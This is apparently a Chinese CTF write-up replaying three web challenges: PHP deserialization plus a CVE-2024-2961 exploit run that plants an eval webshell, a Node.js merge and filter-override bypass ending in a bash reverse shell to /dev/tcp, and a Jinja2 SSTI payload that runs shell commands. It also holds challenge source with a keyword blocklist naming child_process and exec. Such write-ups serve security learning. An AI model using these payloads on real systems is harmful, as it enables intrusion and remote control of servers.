复现后感觉都不是很难,比赛时还是要多看看
还得练,不过最近高强度打比赛来说成长很快,也是差不多找到做题的感觉了,不过在做题中还是有点急,明明静下来更快的(
自知愚钝,日月兼程
Ref
fileread: php, cve
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class cls1{
var $cls;
var $arr;
function show(){
show_source(__FILE__);
}
function __wakeup(){
foreach($this->arr as $k => $v)
echo $this->cls->$v;
}
}
class cls2{
var $filename = 'hello.php';
var $txt = '';
function __get($key){
var_dump($key);
if($key == 'fileput')
return $this->fileput();
else
return '<p>'.htmlspecialchars($key).'</p>';
}
function fileput(){
echo 'Your file:'.file_get_contents($this->filename);
}
}
if(!empty($_GET)){
$cls = base64_decode($_GET['ser']);
$instance = unserialize($cls);
}else{
$a = new cls1();
$a->show();
}构造一下pop链拿到file_get_contents()
1
2
3
4
5
6
7
8$a = new cls1();
$a-> arr = array("fileput");
$b = new cls2();
$a-> cls = $b;
$res = serialize($a);
echo $res;
echo base64-encode($res)这里是在大哥b1nb1n的查阅下知道要用一个cve的,其实我也有一个想法 –> 当操作受限时需要到rce时就需要找切入点了,从最显目的出发,有一个是一个就好,查一查又没有关系!!!: php file_get_contents rce就可以搜索得到这个漏洞
- CVE-2024-2961,有配套脚本,适用于file_get_contents(),需要改一改,这底层不像是web的bro,更像是pwn的,原理有点高深
- 利用思路:利用脚本执行了三个请求:首先下载/proc/self/maps文件,并从中提取PHP堆的地址和libc库的文件名。接着下载libc二进制文件来提取system()函数的地址。最后执行一次最终请求来触发溢出并执行预设的任意命令
- 原作者底层原理
- 官方脚本地址 –> 改的在CtfSpt History里,总结就是慢慢看
- 另一个人的脚本
- 别人的总结,看慢点bro,建议和官方脚本一起使用
- 补充:据原作者描述该漏洞影响PHP 7.0.0 (2015) 到 8.3.7 (2024)近十年php版本的任何php应用程序(Wordpress、Laravel 等)。PHP的所有标准文件读取操作都受到了影响:file_get_contents()、file()、readfile()、fgets()、getimagesize()、SplFileObject->read()等。文件写入操作同样受到影响(如file_put_contents()及其同类函数)
- CVE-2024-2961,有配套脚本,适用于file_get_contents(),需要改一改,这底层不像是web的bro,更像是pwn的,原理有点高深
触发
python3 cnext-exploit.py http://192.168.18.24/ "echo '<?php eval(\$_POST[\"aaa\"])?>' > kc1zs4.php"
然后是通过
ls -al /
查suid /readflag
notadmin(复现): node merge
比较可惜,差一点点就出来了,不会很难的一道题
附件中有源码
- 一眼原型链污染?有hasOwnProperty()无法访问到原型,直接赋值了,不符合利用条件
- crypto随机数非伪随机数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113const express = require("express");
const bodyParser = require("body-parser");
const jwt = require("jsonwebtoken");
let { User } = require("./user");
const crypto = require("crypto");
const path = require("path");
const app = express();
const port = 3000;
app.set("view engine", "ejs");
app.set("views", path.join(__dirname, "views"));
app.use(express.static("public"));
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.json());
const tmp_user = {};
function authenticateToken(req, res, next) {
const authHeader = req.headers["authorization"];
const token = authHeader;
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString("hex");
}
if (!token) {
return res.redirect("/login");
}
try {
const decoded = jwt.verify(token, tmp_user.secretKey);
req.user = decoded;
next();
} catch (ex) {
return res.status(400).send("Invalid token.");
}
}
const merge = (a, b) => {
for (var c in b) {
console.log(JSON.stringify(b[c]));
if (check(b[c])) {
if (
a.hasOwnProperty(c) &&
b.hasOwnProperty(c) &&
typeof a[c] === "object" &&
typeof b[c] === "object"
) {
merge(a[c], b[c]);
} else {
a[c] = b[c];
}
} else {
return 0;
}
}
return a;
};
console.log(tmp_user.secretKey);
var check = function (str) {
let input =
/const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/gi;
if (typeof str === "object" && str !== null) {
for (let key in str) {
if (!check(key)) {
return false;
}
if (!check(str[key])) {
return false;
}
}
return true;
} else {
return !input.test(str);
}
};
app.get("/login", (req, res) => {
res.render("login");
});
app.post("/login", (req, res) => {
if (merge(tmp_user, req.body)) {
// 直接污染secretKey就有了,但是下面要verifyLogin,而且merege中进行了过滤
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString("hex");
}
if (User.verifyLogin(tmp_user.password)) {
const token = jwt.sign(
{ username: tmp_user.username },
tmp_user.secretKey
);
res.send(`Login successful! Token: ${token}\nBut nothing happend~`);
} else {
res.send("Login failed!");
}
} else {
res.send("Hacker denied!");
}
});
app.get("/", (req, res) => {
authenticateToken(req, res, () => {
backcode = eval(tmp_user.code);
res.send("something happend~");
});
});
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});目的是要到eval那里,需要已经登录
jwt验证,jwt的关键在于密钥这个思想,要知道用户名但是通过逻辑可以知道各种属性都是存储在内存中且sercretKey不会强制赋值,所以可以通过merge污染一下
思路: 先login post后再/,执行命令
- 先/login污染一下secretKey,设置一下code看看可不可以执行成功?测一个没污染secretKey和有污染secretKey的,结论是可以绕过
- 能不能判断code有无执行->逻辑上secretKey可以code也可以,可以通过报错?执行一个有错误的code会回到Invailed Token?因为异常上传了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27# !!!成功绕过
import requests
host = "http://192.168.18.21"
# 1. S1:访问/login设置tmp_user,第一步发一次就好
postdata = {
"username": "hello",
"password": "nothing",
"secretKey": "1", # 默认使用HS256
"code": "console.log(1)"
# 最后一步需要进行绕过bro,node命令执行绕过了,pp2rce几乎不可以
}
r = requests.post(host + "/login", data=postdata)
print(r.text)
# 2. S2: 直接get/来进行命令执行
getheader = {
"authorization": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IktDMXpzNCJ9.xXc8Q7Vx6lBHHJL7vNKbRcnfmpqfObThUS7dgXKT544"
# token,详见jwt.io
}
r = requests.get(host,headers=getheader)
print(r.text)呜呜死在这里的绕过上了,不过也学到了node的绕过,强网Pyblockly中通过函数覆盖来逃脱检查,这里也一样,想过覆盖inpui没想到覆盖check,失误了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16# 先发包这个
{
"username":"kc1zs4",
"password":"123456",
"secretKey": "1",
"code":"check=(str)=>true"
}
# 再发payload即可,这里命名空间是在该文件中,eval执行的
# 经典反弹shell
{
"username":"kc1zs4",
"password":"123456",
"secretKey": "1",
"code":"require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"
}
Python口算(复现): python ssti
是不是小猿口算?
开局一个页面,肯定有信息传输,后台刷新这样,截获然后发出,只有脚本有这种速度
其实就是写一个根据字符串计算结果的python脚本,开整(差不多这个意思就对了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16import requests
url = "https://xxx"
r = requests.get(url)
# 假设直接返回表达式123+531*3=?
if r.status_code == 200:
res = eval(r.text[0:-2])
postData = {
"answer": res
}
r = requests.post(url, data=postData)
if r.status_code == 200:
print(r.text)可以拿到hint,
/static/f4dd790b-bc4e-48de-b717-903d433c597f
,考虑render_template的模板注入执行,但是需要绕过,我也不知道黑白名单是啥啊bro(本来昨天应该看这道的,比绕过notadmin好多了)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def index(solved=0):
global current_expr
# 前端计算...
# 通过计算...
username = 'ctfer!'
if request.args.get('username'):
username = request.args.get('username')
if whitelist_filter(username,whitelist_patterns):
if blacklist_filter(username):
return render_template_string("filtered")
else:
print("你过关!")
else:
return render_template_string("filtered")
return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")username payload:
- 先fuzz一下吧,可以通过脚本fuzz来着,或者直接打payload,过了就过了,覆写黑白名单也不是不行,但是这里没法试一试也没有具体信息
1
2
3cmd='cat /flag'
cmd=cmd.encode('utf-8').hex()
payload=f'''{{{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen(bytes.fromhex('{cmd}').decode()).read()")}}}}'''
一些Tricks
- 对于重复定义函数绕过黑白名单的情况
- 要注意函数的定义前后解析情况,路由外部定义的全局还是路由函数内部定义的,如果是路由内定义估计无法覆盖
总结
- 最重要的一句话:你别急,状态是最重要的,多思考
- fileread
- 脚本慢慢看,查阅资料还是树状比较好,不会先思考再查
- 每一个切入点都很重要,需要rce,又file_get_contents就可以查php file_get_contents rce
- notadmin
- 目的导向式的寻找切入点,从sink出发
- 本地测测打不打得通!逻辑判断比如code污染的类推,开发有测试驱动,安全则是poc和res驱动,能快还是快,不能快还是要poc,晕也要poc
- 思路可以跳脱一点,像黑名单这种可以看看能不能暴力覆盖或者直接跳过,要绕很久一般,覆盖只要一会,想一想
- 覆盖函数用到的思想是函数也是对象,通过后赋值指向别的地址来实现
- python口算
- 找入口点:特征/现象->可能原理/唯一入口